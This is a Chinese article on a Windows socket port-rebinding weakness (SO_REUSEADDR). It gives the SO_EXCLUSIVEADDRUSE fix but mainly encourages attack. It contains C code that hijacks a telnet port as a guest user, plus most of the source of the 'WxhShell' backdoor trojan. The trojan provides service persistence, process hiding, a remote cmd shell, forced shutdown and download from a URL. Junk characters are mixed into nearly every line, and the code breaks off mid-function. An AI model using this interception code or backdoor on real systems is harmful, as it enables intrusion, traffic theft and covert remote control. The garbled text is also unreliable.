在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
VF`!ks s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z,,"yVk`, >|taU8^|G} saddr.sin_family = AF_INET;
JFT$1^n z; GQnAG@ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wGyVmC __=53]jGE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3FBL CD3 !se1W5ke# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ucN'
zq ;cMQ0e 这意味着什么?意味着可以进行如下的攻击:
Oeh A3$|# 7FC!^)x1 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VLXA6+ ddQ+EY@! 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
wJC[[_"3 I eF+F"|1h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
64B.7S88 <>HtXn/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x^ `/&+m w;'XqpP$*| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~?\U];l q?!HzZ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
uu6 JZp |
0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
jQ{ @ol}n BUXE
s0]Lv #include
q T6y& #include
ZJDV'mC} #include
q`xc h[H #include
qo[[P)tq DWORD WINAPI ClientThread(LPVOID lpParam);
^4`aONydl int main()
#W~jQ5NS\ {
sOhn@*X WORD wVersionRequested;
A5nggg4 DWORD ret;
u
W]gBhO$O WSADATA wsaData;
_vTr?jjfK BOOL val;
5r5on#O& SOCKADDR_IN saddr;
T]th3* SOCKADDR_IN scaddr;
a_b#hM/c; int err;
DzVCEhf SOCKET s;
VrIN.x SOCKET sc;
p9"dm{ int caddsize;
UT;%I_i!' HANDLE mt;
o`YBz~2 DWORD tid;
'{
<RX wVersionRequested = MAKEWORD( 2, 2 );
x?S86,RW err = WSAStartup( wVersionRequested, &wsaData );
5*44QV if ( err != 0 ) {
|[`YGA4 printf("error!WSAStartup failed!\n");
!)bZ.1o return -1;
7O55mc>cF }
;@Zuet saddr.sin_family = AF_INET;
<$s6?6P 5]&sXs //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}O\IF}X Lm[,^k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
M-@RgWvF saddr.sin_port = htons(23);
JwI99I' if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2Q e&FeT {
o;@~uU printf("error!socket failed!\n");
pX&bX_F{ return -1;
}u8(7 }
uWJJ\ val = TRUE;
}ny7LQ //SO_REUSEADDR选项就是可以实现端口重绑定的
#B\s'j[A" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
j|KDgI<0 {
-,yp?< printf("error!setsockopt failed!\n");
]Thke 4 return -1;
q/@2=$]hH3 }
<tvLKx //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r^m&<)Ca //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r D@*xMW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
a3 }V/MY qSP&Fi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0OO[@Ht {
8KJUC&` ret=GetLastError();
:i&]J$^; printf("error!bind failed!\n");
.Y6v#VI return -1;
S<7!<]F- }
)K[\j?
listen(s,2);
[xiqlb,8 while(1)
,#2~< {
RJD{l+ caddsize = sizeof(scaddr);
nP%U<$,+ //接受连接请求
@ki|#ro sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(
v*xW. if(sc!=INVALID_SOCKET)
_:[@zxT<x {
xt|^~~ / mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-=5~h if(mt==NULL)
].Yz
=: {
q8P&rMwy printf("Thread Creat Failed!\n");
D('.17 break;
CHGa_ }
NF0_D1Goi }
p3vf7 eqn CloseHandle(mt);
W5Jw^,iPd }
#1-WiweO closesocket(s);
x+cL(R WSACleanup();
DKf(igw return 0;
j""ZFh04 }
4x6n,:; DWORD WINAPI ClientThread(LPVOID lpParam)
*QQeK#$s {
Qyw@ r SOCKET ss = (SOCKET)lpParam;
Y# }qXXZ>] SOCKET sc;
sT;wHtU unsigned char buf[4096];
Y\9}LgIvr SOCKADDR_IN saddr;
W{-g?)Tou long num;
uE.BB# DWORD val;
_M%>Q m DWORD ret;
jfG of* //如果是隐藏端口应用的话,可以在此处加一些判断
{wC*61@1 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G4'Ia$ saddr.sin_family = AF_INET;
pa46,q&M saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(tYZq86` saddr.sin_port = htons(23);
Z3JUYEAS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@<P2di {
n~UI47 printf("error!socket failed!\n");
wH?)ZL return -1;
yx Om=V }
8xENzTR val = 100;
^2-
<XD) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~Ykn|$_"I {
m%6VwV7U ret = GetLastError();
=p_*lC%N return -1;
,<IomA:q4 }
Nf([JP% 4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0Fb];:a {
'S3<' X ret = GetLastError();
0g[ %)C return -1;
YVccO~!8 }
/K|(O^nw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
TR3U<: {
di/QJrw
printf("error!socket connect failed!\n");
&jqylX closesocket(sc);
PcC@}3 closesocket(ss);
?JZ$M return -1;
>eA@s}_8 }
Wh i#Ii~ while(1)
]mMJ6n {
42]7N3:' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Aax;0qGbH //如果是嗅探内容的话,可以再此处进行内容分析和记录
l~"T>=jq3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SAdT#0J num = recv(ss,buf,4096,0);
2
`>a( if(num>0)
BP9#}{kE send(sc,buf,num,0);
%rb$tKk else if(num==0)
9nN1f@Y break;
qt}M&=}8Q num = recv(sc,buf,4096,0);
kQmkS^R if(num>0)
"jAd.x?X7e send(ss,buf,num,0);
bg Ux&3 else if(num==0)
$.vm n,:. break;
,jRAVt+{N }
nsI+04[F closesocket(ss);
N[@H107` closesocket(sc);
DURWE,W> return 0 ;
8GP17j }
> T* `Y0P @[lMh9` I]C
Y>' ==========================================================
3aq'JVq Z$/76 下边附上一个代码,,WXhSHELL
'TS_Am?o iv >MIdIm ==========================================================
3A`Gx# rhc+tR #include "stdafx.h"
|BFzTz,o T^7Cv{[ #include <stdio.h>
s21}
a,eB #include <string.h>
^($'l)I #include <windows.h>
xuvW6Q; #include <winsock2.h>
J[<Zy^"Y; #include <winsvc.h>
jTR?!Mt0 #include <urlmon.h>
D#LV&4e>.E r>fGj\#R = #pragma comment (lib, "Ws2_32.lib")
{]+t< #pragma comment (lib, "urlmon.lib")
Sy VGm@ Y]SF0:v!n #define MAX_USER 100 // 最大客户端连接数
o*H U^ #define BUF_SOCK 200 // sock buffer
esJ7#Gxt #define KEY_BUFF 255 // 输入 buffer
1*=ev,Z j"nOxs #define REBOOT 0 // 重启
W+&5G(z~ #define SHUTDOWN 1 // 关机
bvtpqI QZ _H]^7`; #define DEF_PORT 5000 // 监听端口
]"_c-= P)K$+oo #define REG_LEN 16 // 注册表键长度
]QaKXg)3q #define SVC_LEN 80 // NT服务名长度
`sKyvPtG LJ[zF~4# // 从dll定义API
B)Y[~4o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MOD&3>NI typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l?*DGW(t{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%(6IaqJ[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2'@m'4-N #`u}#( // wxhshell配置信息
gko=5|c,@ struct WSCFG {
$!_
X9)e int ws_port; // 监听端口
AfA"QCyO char ws_passstr[REG_LEN]; // 口令
?CAU+/ int ws_autoins; // 安装标记, 1=yes 0=no
a|FkU%sjzZ char ws_regname[REG_LEN]; // 注册表键名
g.&B8e char ws_svcname[REG_LEN]; // 服务名
Q!P%duO char ws_svcdisp[SVC_LEN]; // 服务显示名
6axxyh% char ws_svcdesc[SVC_LEN]; // 服务描述信息
{J==y;dK char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Bg]VaTm[= int ws_downexe; // 下载执行标记, 1=yes 0=no
Ow4 _0l& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^^V3nT2rR3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4<-Kd~uL eS!]..%y };
6o^>q&e}% 57q= // default Wxhshell configuration
M )ET1ZM struct WSCFG wscfg={DEF_PORT,
,4H? + |! "xuhuanlingzhe",
8@rYT5e3c 1,
ceG\Q2 "Wxhshell",
zufphS| "Wxhshell",
y5sH7`2+5 "WxhShell Service",
tL OGj?/r "Wrsky Windows CmdShell Service",
Gk~aTO "Please Input Your Password: ",
@l CG)Ix< 1,
2uEI@B "
http://www.wrsky.com/wxhshell.exe",
T!H(Y4A "Wxhshell.exe"
} [#8>T };
;JkIZ8! h*VDd3[# // 消息定义模块
j~N*T XkC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H=BI%Z char *msg_ws_prompt="\n\r? for help\n\r#>";
s^zlBvr|. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f![] :L char *msg_ws_ext="\n\rExit.";
dT0W8oL char *msg_ws_end="\n\rQuit.";
sLA.bp.O char *msg_ws_boot="\n\rReboot...";
4<($ZN8 char *msg_ws_poff="\n\rShutdown...";
+S{m!j%B char *msg_ws_down="\n\rSave to ";
^# $IoW Z)|~ char *msg_ws_err="\n\rErr!";
aE'nW_f char *msg_ws_ok="\n\rOK!";
\s#~ %l kx(beaf char ExeFile[MAX_PATH];
3?B1oIHQ int nUser = 0;
vNw(hT5750 HANDLE handles[MAX_USER];
7"Xy8]i{z int OsIsNt;
%:~Ah6R1 k)3N0]q6 SERVICE_STATUS serviceStatus;
:\~>7VFg SERVICE_STATUS_HANDLE hServiceStatusHandle;
Doc zQc-U+ }K) AjZ // 函数声明
tCrEcjT- int Install(void);
0Ye/ int Uninstall(void);
0hoMf=bb$ int DownloadFile(char *sURL, SOCKET wsh);
d`=
~8` int Boot(int flag);
sGY}(9ED; void HideProc(void);
C)U4Fr ?E: int GetOsVer(void);
M1eh4IVE? int Wxhshell(SOCKET wsl);
sR/Yv void TalkWithClient(void *cs);
""7H;I& int CmdShell(SOCKET sock);
.8QhJHwd int StartFromService(void);
ug]2wftlQ int StartWxhshell(LPSTR lpCmdLine);
fR[8O\U~ J~KO#` VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c$1u VOID WINAPI NTServiceHandler( DWORD fdwControl );
JAHg_! 2e\"?y OD // 数据结构和表定义
WuE]pm]c SERVICE_TABLE_ENTRY DispatchTable[] =
&n| <NF {
|y7TYjg6 {wscfg.ws_svcname, NTServiceMain},
,C6( {NULL, NULL}
N[Xm5J };
+}m`$B}mJ <9&GOaJ // 自我安装
h1q3}- int Install(void)
#v(As)4^ {
DTC
IVLV char svExeFile[MAX_PATH];
{qHQ_ _Bl HKEY key;
YQD`4ND strcpy(svExeFile,ExeFile);
X}'rPz\Lu `pfgx^qG // 如果是win9x系统,修改注册表设为自启动
_kBmKE if(!OsIsNt) {
n}Z%-w$K# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P\dfxR;8% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
BW;@Gq@N RegCloseKey(key);
#!_4ZX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ulALGzPh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\'=svJ
RegCloseKey(key);
P6%qNR/ x return 0;
U>kaQ54/ }
U`)
";WN }
s>L-0vG }
d1#lC*.Sg else {
cWnEp';. y3(~8n // 如果是NT以上系统,安装为系统服务
rWWpP< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"zw{m+7f, if (schSCManager!=0)
]iTP5~8U {
;LgMi5dN SC_HANDLE schService = CreateService
T^eD (
yE
N3/-S+ schSCManager,
I 8i|tQz wscfg.ws_svcname,
V #vkj wscfg.ws_svcdisp,
/QS Nv SERVICE_ALL_ACCESS,
5q4wREh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
+9LzDH SERVICE_AUTO_START,
4%}iKoT
SERVICE_ERROR_NORMAL,
G-D}J2r=F svExeFile,
Ox
,Rk NULL,
[.l,#-vp NULL,
Y|mtQE?c NULL,
0;a1 0b NULL,
!JdZ0l NULL
0Bgj.?l );
a:P+HU: if (schService!=0)
%d:cC:` {
x%)oL:ue CloseServiceHandle(schService);
UK'8cz9 CloseServiceHandle(schSCManager);
R,.qQF\* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yuq o ^i strcat(svExeFile,wscfg.ws_svcname);
lw8t#_P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Jm=3%H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
@=g{4(zR^ RegCloseKey(key);
DCa=o return 0;
;]R5:LbXS }
KKk<wya&O }
Y A+R!t:F{ CloseServiceHandle(schSCManager);
d?5oJ'JU }
F'wG% }
9[~.{{Y PQi(Oc return 1;
V,Bol(wY }
a-#$T)mmfj L // 自我卸载
dM}c-=w` int Uninstall(void)
u=PLjrB~} {
8fQfu'LyjY HKEY key;
fM&
fqI ) F -8 if(!OsIsNt) {
wtL=^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
uCt?(E> RegDeleteValue(key,wscfg.ws_regname);
LCXWpUj~ RegCloseKey(key);
qz)KCEs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HXh:83 RegDeleteValue(key,wscfg.ws_regname);
M!hD`5.3 RegCloseKey(key);
/V/)A\g return 0;
|U'` Sc }
xA;)02 }
wk?i\vm }
6e|uA7i4 else {
D1ik*mDA= e~he#o[%a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wKcuIc$ if (schSCManager!=0)
{Gh9(0,B? {
CE
(zt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
$<VH~Q< if (schService!=0)
f\hQ>MLzt {
#xR=U" if(DeleteService(schService)!=0) {
> B;YYj~f} CloseServiceHandle(schService);
lwG)&qyVd CloseServiceHandle(schSCManager);
rw
2i_,.*~ return 0;
B}zBbB }
;*Mr(#R CloseServiceHandle(schService);
!gsrPM }
^!O!HMX0 CloseServiceHandle(schSCManager);
a&kt!%p: }
B$OV^iwxK }
6 %` h2Z p")"t`k7 return 1;
UZ-pN_!Z: }
KAVkYL0 ~4#D
G^5 // 从指定url下载文件
M`iE'x int DownloadFile(char *sURL, SOCKET wsh)
[\ 0>@j}Z {
-:!Wds HRESULT hr;
r|z B?9Q char seps[]= "/";
G `eU char *token;
>,Zn~8&Z char *file;
@5??`n char myURL[MAX_PATH];
#l* w=D? char myFILE[MAX_PATH];
y(a>Y! dgU all2?neK strcpy(myURL,sURL);
([SJ6ff]& token=strtok(myURL,seps);
vwAhNw2- while(token!=NULL)
s[7/w[& {
(B*,|D[J@i file=token;
44k8IYC*o token=strtok(NULL,seps);
D2Q0p(#% }
7uu\R=$ Oku7&L1 GetCurrentDirectory(MAX_PATH,myFILE);
ww+,GnV strcat(myFILE, "\\");
A&ceuu strcat(myFILE, file);
Rb^G~82d? send(wsh,myFILE,strlen(myFILE),0);
B<.ZW}#v send(wsh,"...",3,0);
EZp >Cf7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mTL`8hv? if(hr==S_OK)
;eW)&qzK return 0;
AYsHA w else
j5smmtM`s return 1;
T`u
,!S Ofb&W
AD }
k5}Qx'/l >~'z% // 系统电源模块
UsCaO<A int Boot(int flag)
150x$~{/ {
8wkt9: HANDLE hToken;
yr.sfPnJK TOKEN_PRIVILEGES tkp;
y34 <B)Wy 5]kv1nQ if(OsIsNt) {
XQOM6$~, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+T,0,^* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
LOwd mj tkp.PrivilegeCount = 1;
3<1x>e2nT tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qjg Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
so Lmr's if(flag==REBOOT) {
VHLNJnA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
M`*
BS return 0;
fCX8s(|F }
v4X ` Ul* else {
Da)_O JYE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
puh-\Q/P return 0;
!@arPN$ }
tu;Pm4q7 }
<a+@4d; else {
JZ>
(h if(flag==REBOOT) {
\nTV;@F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
YKOj return 0;
SUvrOl
}
yKz%-6cpSl else {
YPKB4p# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<1QXZfQ" return 0;
]{t!J^Xn }
HRCnjem/v\ }
z$ {[Z= wIWO?w2 return 1;
Vkf{dHjW }
fMM%,/b{ hdmKD0 // win9x进程隐藏模块
7^d7:1M void HideProc(void)
\W\*'C8q\ {
9pWSvalw9 *dC&*6Rx HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6y^GMlsI if ( hKernel != NULL )
{lppv(U {
U+["b-c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*q[;-E(fZ# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
eq<!
FreeLibrary(hKernel);
.Ep&O# }
E},zB*5TH ]9W7]$ return;
5e?<x>e }
tCwB7c- 7y.iXe!P // 获取操作系统版本
ao|n<*} int GetOsVer(void)
V&Rwj_Y {
{/,AMJ<:G] OSVERSIONINFO winfo;
_lm^v%J$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Zdfh*MHMg GetVersionEx(&winfo);
B;piO-hH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=NNxe"Kd;U return 1;
3kwkU else
W|s";EAM return 0;
M7&G9SGZ }
P>`|.@ nC!L<OMr // 客户端句柄模块
EP+LK?{% int Wxhshell(SOCKET wsl)
Z
B!~@Vf {
U9
mK^ SOCKET wsh;
0f'LXn struct sockaddr_in client;
jmP;(j.| DWORD myID;
',rK\&lL6 cz|?j while(nUser<MAX_USER)
@*|T(068& {
3od16{YH int nSize=sizeof(client);
NBLjBa%eL wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-YrMVoZl if(wsh==INVALID_SOCKET) return 1;
!E)|[:$XT f=S2O_Ee handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Imq-5To# if(handles[nUser]==0)
t-<BRnxhE closesocket(wsh);
{lgiH+: else
,]Xn9W nUser++;
o-;/x) }
TgHUH>k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
]M'~uTf 6}|h return 0;
~-R2mAUK }
K{B| 8N3y(y0 // 关闭 socket
rI6+St void CloseIt(SOCKET wsh)
p(Osz7K {
:AI%{EV-L closesocket(wsh);
:)&vf<JL nUser--;
$TK= :8HY ExitThread(0);
a(ml#-M }
A(cR/$fn6 ;BKU
_}k= // 客户端请求句柄
(Q8r2*L void TalkWithClient(void *cs)
#l3)3k*; {
Tf?`_jL .*.eY?,V SOCKET wsh=(SOCKET)cs;
sH >zsc char pwd[SVC_LEN];
rUAt`ykTmN char cmd[KEY_BUFF];
_-9cGm v char chr[1];
DQaE9gmC int i,j;
1-&L-c. fc[_~I' while (nUser < MAX_USER) {
8B5WbS fL^ a#& ( i if(wscfg.ws_passstr) {
MX.?tN#F|H if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D_)/.m //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1X9s\JKQ //ZeroMemory(pwd,KEY_BUFF);
g#cet{> i=0;
evNe6J3 while(i<SVC_LEN) {
{Qn{w%!| LhM$!o?W // 设置超时
(mKH,r fd_set FdRead;
s{j A!T} struct timeval TimeOut;
;-;lM6zP FD_ZERO(&FdRead);
gU NWM^n FD_SET(wsh,&FdRead);
P|]r*1^5 TimeOut.tv_sec=8;
U4yl{? TimeOut.tv_usec=0;
"^a"`?J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~!cxRd5;F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vAqj4:j bMNr +N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
m7u`r(& pwd
=chr[0]; 0z4M/WrNt
if(chr[0]==0xd || chr[0]==0xa) { ItZYOt|Hn
pwd=0; 2i1xSKRYrD
break; &ODo7@v`1
} bSz7?NAp
i++; 9 %i\)
} 6]kBG?m0
Kr `/sWZ
// 如果是非法用户,关闭 socket ecR)8^1 '
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]^>:)q
} =
3eXIo=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vLyazVj..
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B&0W P5OF
%~gI+0HK
while(1) { X)+6>\
.>P:{''
ZeroMemory(cmd,KEY_BUFF); QG2 Zh9R
^NRf
// 自动支持客户端 telnet标准 I0z 7bx
j=0; cC+2%q B
while(j<KEY_BUFF) { `|nCnT'
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Im@OAR4,R
cmd[j]=chr[0]; ={V@Y-5T
if(chr[0]==0xa || chr[0]==0xd) { Pnm$g;`P
cmd[j]=0; { I\og
break; SY%y *6[6
} 0y?;o*&U\
j++; pRL:,q\
} ( }Bb=~
UxzF5V5
// 下载文件 2Q5 @2jT
if(strstr(cmd,"http://")) { 8&|
o
send(wsh,msg_ws_down,strlen(msg_ws_down),0); fb>$p_s]
if(DownloadFile(cmd,wsh)) '%XYJr:H[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v+W'0ymbnV
else N' R^gL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*?l">?|F
} :zPK
else { n-yUt72
GZNN2
'
switch(cmd[0]) { 2A[hMbL
#Lp}j?Y
// 帮助 0<NS1y
case '?': { 4OpzGZ4+
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *X2PT(e[
break; MGt>:&s(]
} #
#2'QNN
// 安装 @z{SDM
case 'i': { Qz#By V:
if(Install()) wK#*|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?4Rd4sIM$u
else V|$PO
Qa3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6[c|14l
break; !]82$
} |D"L!+J-$
// 卸载 dS4z Oz"
case 'r': { )H{1Xjh-
if(Uninstall()) z[v4(pO6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^MF 2Q+
else KvPCb%!ZP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); orH6R8P]
break; zIjfxK
} tm^joK[{|J
// 显示 wxhshell 所在路径 'ET];iZ2
case 'p': { o,dp{+({
char svExeFile[MAX_PATH]; h\w;SDwOk
strcpy(svExeFile,"\n\r"); ,)#rD9ZnC
strcat(svExeFile,ExeFile); )`f-qTe
send(wsh,svExeFile,strlen(svExeFile),0); ~ILv*v@m
break; &{a!)I>
} 6AG]7d<
// 重启 NimgU Fa
case 'b': { (EY@{'.&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MyllL@kP
if(Boot(REBOOT)) 0#!}s&j/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @:GqOTN
else { x]x 3iFD
closesocket(wsh); 4^l 9d
ExitThread(0); 4oiE@y&{4
} GyN|beou
break; >Wt@O\k
} e8^/S^ =&d
// 关机 m1Y a
case 'd': { `?(J(H
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &l1t5 !
if(Boot(SHUTDOWN)) A%Ka)UU+n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pg(Y}Tu
else { oMj"l#a*
closesocket(wsh); $) "\N
ExitThread(0); RBn/7
} e,_Sj(R8
break; 0lg'QG>
} (4/"uj5
// 获取shell $Z#~wsw
case 's': { }%/mPbd#
CmdShell(wsh); 8:V,>PH
closesocket(wsh); _uMG?Sbx
ExitThread(0); N'WTIM3W
break; vHcl7=)Q
} 6dr'nP
// 退出 l_Lz9k
case 'x': { Y$v #>w_M
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jeRE(3'Q
CloseIt(wsh); p7;K] AW
break; @gK`RmhGE5
} @M4c/k}
// 离开 y1%OH#:duD
case 'q': { Q:megU'u
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |7c],SHm
closesocket(wsh); -EP1Rl`\
WSACleanup(); M*gvYo
exit(1); ue@/o,C>
break; Yp;Z+!!UZ
} scH61Y8`
} /g{*px|
} ="& GU%$
MLHCBRi
// 提示信息 Sc>mw
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'sUOi7U
} IeYNTk&<
} FXJ0
G>F
`J,>#Y6(J
return; >:6iFPP
} yC\UT
~j/
z.-yL,Rc`-
// shell模块句柄 Eb4NPWo
int CmdShell(SOCKET sock) ";rXCH.
{ |> STb\
STARTUPINFO si; 94#,dA,M
ZeroMemory(&si,sizeof(si)); ~F'6k&A^q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m_/Ut
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,FzkGB#
PROCESS_INFORMATION ProcessInfo; r4SwvxhG
char cmdline[]="cmd"; N)g _LL>^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $J4\jIipL
return 0; ~O\A 0e
} VtLRl0/
uE')<fVX(
// 自身启动模式 k37?NoT
int StartFromService(void) p]RQ-0
{ &SbdX
typedef struct ';FJs&=I
{ wz`% (\
DWORD ExitStatus; piM4grg
\
DWORD PebBaseAddress; $TXiWW+
DWORD AffinityMask; S}JOS}\^j
DWORD BasePriority; l}L81t7f
ULONG UniqueProcessId; aH1CX<3)~
ULONG InheritedFromUniqueProcessId; z)C/U
} PROCESS_BASIC_INFORMATION; md+pS"8o;
Ct)58f2
